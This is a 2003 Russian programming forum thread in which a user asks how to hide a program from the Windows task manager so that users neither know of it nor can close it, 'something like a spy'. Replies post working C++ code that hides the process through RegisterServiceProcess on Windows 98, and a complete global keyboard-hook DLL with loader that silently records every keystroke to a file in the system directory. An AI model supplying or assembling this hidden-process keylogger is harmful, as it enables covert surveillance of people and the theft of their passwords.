Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > C/C++: Общие вопросы > "Невидимая" программа


Автор: Guest_UVSoft 30.4.2003, 23:05
Привет!
Как сделать "невидимую" программу, чтобы она не была видна при нажатии комбинации трёх клавиш Ctrl+Alt+Del. И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш? Что-то вроде шпиона...
Спасибо

Автор: neutrino 1.5.2003, 10:06
http://www.cyberinfo.ru/9/909_1.htm

Автор: fk_ 1.5.2003, 15:01
1. На самом деле такие программы называются не "невидмыми" а резидентными.
2. Резидентную программу, чтобы она являлась таковой, нужно убрать не только с "Завершения задачи" но и с панели кнопки пуск и из alt+tab.
3. А чтобы был шпион... хм тут смотря что ты хочешь делать... но обычно это морока с потоками...

В общем если нужны подробные разъяснения, то пиши.... Хотя думаю сможешь все найти по своему вопросу и на сайте написаном выше...

Автор: HexoGenus 1.5.2003, 15:09
Мой файлик Project1.cpp после запуска прога не видна в диспечере задач
должно работать в вин98

//---------------------------------------------------------------------------
#include <vcl\vcl.h>
#pragma hdrstop
//---------------------------------------------------------------------------
USEFORM("Unit1.cpp", Form1);
USERES("Project1.res");


typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
bool RSP(double p1, double p2)
{
PREGISTERSERVICEPROCESS rsp;
HINSTANCE hK32;
bool Rc=false;
hK32=GetModuleHandle("kernel32.dll");
if(hK32!=NULL) {
rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess");
if(rsp!=NULL) {
Rc=true;
rsp(p1,p2);
}
FreeLibrary(hK32);
}
return Rc;
}
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
if (!RSP(NULL,1)) return 0;
try
{
Application->Initialize();
Application->CreateForm(__classid(TForm1), &Form1);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
//---------------------------------------------------------------------------



Автор: uvsoft 2.5.2003, 15:01
Шпионить мне ни за кем не надо... моя программа должна быть невидимой (чтобы юзеры ее не закрыли и даже не знали о ней) и через определённое время выполнять необходимые операции. Заходил на страницу, на которую меня послал:) neutrino, ~~~что-то не дошло... Может кто-нибудь даст ссылку на готовый проэкт C++++Builder?

ЗЫ:
У меня в вопросе есть и вторая часть:
"И чтобы открыть (показать) ее можно было при помощи другой установленной в программе комбинации клавиш?"

Огромное СПА-СИ-БО!

Автор: Step 2.5.2003, 17:39
вообщето это в факю надо искать...

Автор: HexoGenus 3.5.2003, 01:15
По поводу второй половины вопроса

Q> Как поставить system-wide хук(например писать в файл все нажатия кнопок)
A>

Для этого хук должен жить в длл.

текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
ghDLLInst = hModule;

switch (dwFunction)
{
case DLL_PROCESS_ATTACH:
{

GetSystemDirectory(
sysdir,
MAX_PATH
);

strcpy(logname,sysdir);
strcat(logname,"\\kbdkeys.txt");

}
case DLL_PROCESS_DETACH:
{
}

default:
break;
}
return TRUE;
}
//------------------------------------------------
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);

if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);

if(kdown&&(wParam==VK_SHIFT))shift=true;

if(!kdown&&(wParam==VK_SHIFT))shift=false;

if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");

LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
OVERLAPPED ovlp;
DWORD ffsze=GetFileSize(LFile,NULL);
ovlp.OffsetHigh=0;
ovlp.hEvent=NULL;
ovlp.Offset=ffsze;

WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);

CloseHandle(LFile);
}
return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:

#include
#include
#include

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow);

//---------------------------------------------------------------------//
BOOL
SetHook(
BOOL fSet
)
{
static HHOOK hhkKbdHook = NULL;
static HANDLE hmodHook;

if (fSet)
{
if (!hmodHook)
{
if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
{
return FALSE;
}
}

if (!hhkKbdHook)
{
if (!(hhkKbdHook =
SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
{
return FALSE;
}
}

}
else
{
if (hhkKbdHook)
{
UnhookWindowsHookEx(hhkKbdHook);
hhkKbdHook = NULL;
}

}

return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow)
{
if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
MSG msg;

while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return( 0 );
}

Автор: man2002ua 3.5.2003, 11:12
neutrino, статья хорошая, только для оконных приложений его способ не очень-то покатит, я пробовал пустить окошко в контексте чужого потока и просто создавал новый поток в чужом процессе - все работает до появления окна smile.gif
Потом или твое окно загибается или весь процесс целиком перестает реагировать на нас (Даже если простой messagebox вывести).

Автор: uvsoft 3.5.2003, 23:12
Может проект все-таки дадите? С ним-то разобраться легче...

Автор: man2002ua 5.5.2003, 10:15
uvsoft, что конкретно надо и для каких целей?

Автор: HexoGenus 6.5.2003, 15:02
Цитата(uvsoft @ 3.5.2003, 20:12)
Может проект все-таки дадите? С ним-то разобраться легче...

А чем тебя мои примеры не устраиваютconfused.gif

Автор: uvsoft 9.5.2003, 07:54
Ну, понимаешь, я не знаю куда что копировать.... Напиши тогда подробную инструкциюsmile.gif

Автор: Guest_visual 14.5.2003, 15:54
Dlea win 98 u menea esti programca catorie tocina rabotaet

void CFindwindowApp::HideTask(BOOL bRegType)
{
#define RSP_SIMPLE_SERVICE 0x00000001
#define RSP_UNREGISTER_SERVICE 0x00000000

HINSTANCE hInstKernel=NULL;
DWORD (__stdcall *pRegisterServiceProcess) (DWORD, DWORD);
hInstKernel = LoadLibrary ("KERNEL32.DLL");
if (hInstKernel)
{
pRegisterServiceProcess = (DWORD (__stdcall *) (DWORD, DWORD))
GetProcAddress (hInstKernel, "RegisterServiceProcess");
if (pRegisterServiceProcess)
{
if (bRegType)
{
pRegisterServiceProcess (NULL, RSP_SIMPLE_SERVICE);
}
else
{
pRegisterServiceProcess (NULL, RSP_UNREGISTER_SERVICE);
}

}
else
MessageBox(0,"Incarcarea Functiei a esuat !!","Eroare",MB_ICONSTOP);
FreeLibrary (hInstKernel);
}
else
MessageBox(0,"Incarcarea Dll a esuat !!","Eroare",MB_ICONSTOP);

}

no ne can ne magu zdelati functiu stobi scril i v 2k winde


Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)